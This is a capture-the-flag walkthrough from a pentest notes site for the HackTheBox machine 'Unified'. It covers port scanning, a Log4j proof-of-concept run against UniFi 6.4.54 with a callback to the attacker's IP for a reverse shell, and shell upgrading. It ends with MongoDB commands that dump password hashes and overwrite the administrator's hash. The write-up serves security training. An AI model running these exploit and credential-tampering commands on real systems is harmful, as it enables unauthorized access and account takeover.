Pentest Journeys
Connect
  • Welcome!
  • Boxes
    • Categories
    • Starting Point
      • Unified
      • Three
    • Easy
      • Forest
      • Sauna
      • Active
      • Broker
      • Return
      • Timelapse
      • Support
      • Nibbles
      • Keeper
      • CozyHosting
      • Devvortex
      • Lame
      • FunBoxEasyEnum
      • Inclusiveness
      • Potato
      • Sumo
    • Medium
      • Resolute
      • Cascade
      • Monteverde
      • Intelligence
      • StreamIO
      • Loly
    • Hard
      • Mantis
      • Blackfield
      • Reel
    • Insane
      • Sizzle
      • Multimaster
      • Rebound
  • Cloud
    • Public Snapshots
  • TL;DR
    • Active Directory
      • AD Authentication
      • Access Controls
      • Recon
      • Groups
        • Account Operators
        • Backup Operators
        • DnsAdmins
        • Exchange Windows Permissions
        • Server Operators
      • Privileges
        • SeBackupPrivilege
        • SeImpersonatePrivilege
      • Permissions
        • AddSelf
        • DCSync
        • ForceChangePassword
        • FullControl
        • GenericAll
        • GenericWrite
        • Owns
        • ReadGMSAPassword
        • ReadLAPSPassword
        • WriteDACL
        • WriteOwner
      • Attacks
        • Password Spraying
        • ASREPRoasting
        • Kerberoasting
        • Silver Tickets
        • DCSync
        • Delegation
          • Unconstrained
          • Constrained
          • Resource-Based
        • Local SAM Dump
        • NTLMv2
        • Services
        • Scheduled Tasks
        • Exploits
      • Lateral Movement
        • WMI & WinRM
        • PsExec
        • Pass-the-Hash
        • Overpass-the-Hash
        • Pass-the-Ticket
        • DCOM
        • SSP Injection
      • Persistence
        • Golden Ticket
        • Shadow Copies
    • Web
      • Common Findings
        • Security Headers
        • Cookie Flags
        • SSL/TLS
      • Authentication
        • Broken Reset Logic
        • Brute Force Attacks
        • Rate Limiting
        • Session Tokens
        • MFA
        • JWTs
      • Authorization
        • IDOR / BOLA
        • IDOR / BFLA
        • Weak Access Controls
        • Automated A-B Testing
      • Injections
        • SQLi
          • SQLi 101
          • In Band
          • Blind
          • NoSQLi
          • Second Order
          • Other
        • XSS
          • XSS 101
          • Reflected
          • Stored
          • DOM-Based
          • Exploitation
          • Payloads
        • CI
          • CI
          • Filters
          • Examples
        • SSTI
          • SSTI 101
          • Twig
          • Freemarker
          • Pug
          • Jinja
          • Mustache
          • Handlebars
          • Mako
          • Case Study: Craft CMS
        • XXEI
          • XML 101
          • XXEI
      • File Inclusion
        • LFI & RFI
        • RCE
      • Cross-Origin
        • Cross-Origin 101
        • CSRF
        • CORS
      • File Uploads
      • Mass Assignment
      • WebSockets
      • Open Redirects
      • Race Conditions
      • SSRF
        • Exploitation
        • Examples
    • API
      • What is an API?
      • Useful Terms
      • Collection Creation
      • Enumeration
      • Tests
        • General
        • Security Misconfigurations
        • Authorization
          • BOLA
          • BFLA
        • Authentication
          • BFAs
          • Tokens
          • JWTs
            • Entropy Analysis
            • Signature Validation
            • Weak Signature
            • Header Injection
            • Algorithm Confusion
        • Excessive Data Exposure
        • HTTP Verb Tampering
        • Content Type Tampering
        • Improper Asset Management
        • Mass Assignment
        • SSRF
        • Unrestriced Resource Consumption
        • Unrestricted Access to Sensitive Business Flows
        • Unsafe API Consumption
    • Infra
      • Windows
      • Linux
      • FreeBSD
    • Pivoting
      • Networking 101
      • Port Foward
      • SSH Tunelling
      • Deep Packet Inspection
        • HTTP Tunneling
        • DNS Tunneling
    • Social Engineering
      • Phising
    • Cloud
      • AWS
        • Recon
    • Code Review
  • Tools
    • Web
      • Web Checklist
      • API
        • mitmweb
        • KiteRunner
        • Arjun
        • jwt_tool
      • Dirbusting
        • Fuff
        • Dirsearch
        • GoBuster
        • Wfuzz
      • Cloud
        • AWS
      • cURL
      • Hydra
      • Hakrawler
      • amass
      • WAFs
      • WhatWeb
      • Creds
      • SQLMap
      • GoWitness
      • Web Servers
        • Apache
        • Nginx
        • IIS
      • Frameworks
        • Spring
      • CMS
        • WordPress
        • Joomla
        • DNN
        • Umbraco
        • RiteCMS
      • DevOps
        • GitLab
        • Git Tools
      • BurpSuite
    • Infra
      • pspy
    • Port Scanners
      • Nmap
      • Rustscan
      • Arp-Scan
      • Netcat
      • PowerShell
    • Active Directory
      • netexec
      • impacket
      • mimikatz
      • Hounds
      • PowerView
      • SysInternals
      • net.exe
      • ldapsearch
      • BloodyAD
      • PowerView.py
      • Rubeus
      • DPAT
      • PingCastle
      • PowerUp
      • runas
      • Kerbrute
    • Passwords
      • HashID
      • Hashcat
      • John
      • DomainPasswordSpray
      • Credential Enum
    • Searchsploit
    • Metasploit
      • 101
      • Payloads
      • Post-Exploitation
      • Resource Scripts
    • Usernames
    • Vulnerability Scanners
      • Nuclei
      • Nikto
    • Text
      • jq
      • grep
      • awk
      • sed
      • tr
      • printf
    • Output
      • tee
    • Pivoting
      • Ligolo-ng
      • Sshuttle
    • Shells
      • Reverse Shells
      • Webshells
      • Upgrade
      • Listeners
        • Socat
        • Pwncat
        • Nc
    • Traffic Capture
    • File Transfers
    • Crypto
    • Files
    • Images
    • Evil-WinRM
    • KeePass
    • Random Scripts
  • Services
    • TCP
      • Remote Access
        • SSH (22)
        • RDP (3389)
        • WinRM (5985,5986)
      • Shares
        • FTP (21)
        • NFS (111, 2049)
        • SMB (139, 445)
      • LDAP (389, 636)
      • DNS (53)
      • SMTP (25,587)
      • DISTCC (3632)
      • AFS (1978)
      • DBMS
        • SQL
          • MSSQL (1433)
          • Oracle (1521)
          • MySQL (3306)
          • MariaDB (3306)
          • PostgreSQL (5432)
        • NoSQL
          • Aerospike (3000-3005)
          • MongoDB (27017)
    • UDP
      • SNMP (161)
  • OTHER
    • Exploits
      • Screen
    • CLIs
      • CMD
      • PowerShell
  • Package Managers
    • vevn
    • uv
  • Blue Team Stuff
    • Logs
      • System Logs
      • Apache2
      • Volatile Data
    • Traffic Analysis
      • Wireshark
Powered by GitBook
On this page
  • Summary
  • Recon
  • Port Scan
  • Web Server Enumeration
  • Foothold
  • Log4j
  • Shell Upgrade
  • Privilege Escalation
  • Mongodb Exploitation
  • UniFi Enumeration

Was this helpful?

  1. Boxes
  2. Starting Point

Unified

PreviousStarting PointNextThree

Last updated 1 year ago

Was this helpful?

Summary

Part of Starting Point's Tier 2 boxes, revolves around exploiting the Log4j vulnerability. Securing the initial foothold entails identifying the application's version through meticulous enumeration of the web server. Subsequently, leveraging a readily available allows us to gain access to the application using the administrator account. Further reconnaissance within the site exposes plaintext SSH credentials, allowing us to root the box.

Step
Action
Tool
Gained

1

Web server enumeration

Browser

Web app's version

2

Researching

Browser

Log4j vulnerability &

3

Using

Foothold

4

Updating admin's password

Web application credentials

5

Web server enumeration

Browser

Privilege escalation

Recon

Port Scan

As always, let's start with a port scan. For efficiency, we will run a fast (-T5 --min-rate 10000) all-ports (-p-) scan first to find out which of them are open (-open), and then we will do a version scanning (-sV) as well as use Nmap's default scripts (-sC) against open ports only.

# Scanning all ports at maximum speed
$ sudo nmap 10.129.158.126 -T5 --min-rate 10000 -open -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-26 17:37 BST
Nmap scan report for 10.129.158.126
Host is up (0.038s latency).
Not shown: 65529 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
6789/tcp open  ibm-db2-admin
8080/tcp open  http-proxy
8443/tcp open  https-alt
8843/tcp open  unknown
8880/tcp open  cddbp-alt

Nmap done: 1 IP address (1 host up) scanned in 8.10 seconds
# Version-scanning the specified ports at max speed plus using default scripts
$ sudo nmap 10.129.158.126 -T5 --min-rate 10000 -p 22,6789,8080,8443,8843,8880 -sC -sV
PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.3
<SNIP>
6789/tcp open  ibm-db2-admin?
8080/tcp open  http-proxy
|_http-title: Did not follow redirect to https://10.129.158.126:8443/manage
|_http-open-proxy: Proxy might be redirecting requests
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.1 404
<SNIP>
8443/tcp open  ssl/nagios-nsca Nagios NSCA
| ssl-cert: Subject: commonName=UniFi/organizationName=Ubiquiti Inc./stateOrProvinceName=New York/countryName=US
| Subject Alternative Name: DNS:UniFi
| Not valid before: 2021-12-30T21:37:24
|_Not valid after:  2024-04-03T21:37:24
| http-title: UniFi Network
|_Requested resource was /manage/account/login?redirect=%2Fmanage
8843/tcp open  ssl/unknown
| ssl-cert: Subject: commonName=UniFi/organizationName=Ubiquiti Inc./stateOrProvinceName=New York/countryName=US
| Subject Alternative Name: DNS:UniFi
<SNIP>
8880/tcp open  cddbp-alt?

Based on Nmap's output, we can note some things down:

  • There is an SSH port open (22) which might represent the way to access the box.

  • There is an HTTP port (8080) which redirects to https://10.129.158.126:8443/manage which seems interesting.

Web Server Enumeration

By visiting the redirected URL we found above, we land on the UniFi login page which also include its version: 6.4.54 (Figure 1).

Foothold

Log4j

# executing the PoC
sudo python3 exploit.py -u https://10.129.96.149:8443 -i 10.10.14.147 -p 1337

Shell Upgrade

Before searching for the flag, we can first upgrade our shell (Figure 4).

# Checking if script is available
which script
# Spawning the bash shell
script /dev/null -c /bin/bash
# Backgrounding the shell (CTRL+Z)
^Z
# Checking the configurations of our local shell
echo $TERM && stty size
# Disabling echo, passing I/O straight through, and foregrounding the shell
stty raw -echo; fg
# Setting terminals dimensions
stty rows 51 cols 209
# Exproting terminal
export TERM=xterm

We can now read the user.txt flag within the home directory of the sole user of the box.

# Checking users
unifi@unified:/unifi/data$ ls /home
michael
# Reading the user flag
unifi@unified:/unifi/data$ cat /home/michael/user.txt
6ce<REDACTED>127

Privilege Escalation

Mongodb Exploitation

# Dumping the password hashes
mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"
# Encrypting the new password
mkpasswd -m sha-512 Password123!
# Changing the administrator's password
mongo --port 27117 ace --eval 'db.admin.update({"_id" : ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$Zpy/bK4oaMXbjkwG$gPVsT76.dDkLpzgvEZm39v2kvkqfytwFzuzOHOW5MmkgFtN9UXDbg0FZ58hckZEq2g83mE9bWNqXDi6itVvd91"}})'

UniFi Enumeration

By enumerating the UniFi portal, we can find the root's plaintext password (Figure 8) which we can use right away and read the root.txt flag 🚩 (Figure 9).

The port 6789 seems to be used for an application called .

The last port (8880) is related with a protocol called and it's also related with the .

Since we know the application's version, we can check if any known vulnerability exists. Doing that, reveals the (Figure 2.1) as well as a with a (Figure 2.2).

The includes both an and a route, but let's first try the PoC as it involves less steps. By opening a listener (Figure 3.1) and following the PoC's execution instructions (Figure 3.2), we indeed achieve and secure our foothold (Figure 3.3).

Check more about shell upgrades .

The of the article refers to a mongodb from which we can dump password hashes from. Let's check if we can do that (Figure 5).

Next, according to the , we can encrypt a new password (Figure 6.1) and use it to change the administrator's password (Figure 6.2), so we can then use it to log in into the UniFi portal as a privileged user (Figure 7).

Unified
UniFi Mobile Speed Test
CDDB
UniFi Network
Log4j vulnerability
GitHub repository
SprocketSecurity article
exploitation
post-exploitation
here
post-exploitation part
article
mongo
Figure 1: The UniFi login page along with its version.
Figure 2: Rsearching known vulnerabities for UniFi 6.4.54.
Figure 3: Establishing our initial foothold.
Figure 4: Upgrading our shell with script.
Figure 5: Dumping hashes from the mongodb database.
Figure 6: Changing the administrator's password.
Figure 7: Logging in as administrator.
Figure 8: Enumerating the root's SSH password.
Figure 9: Reading the root flag.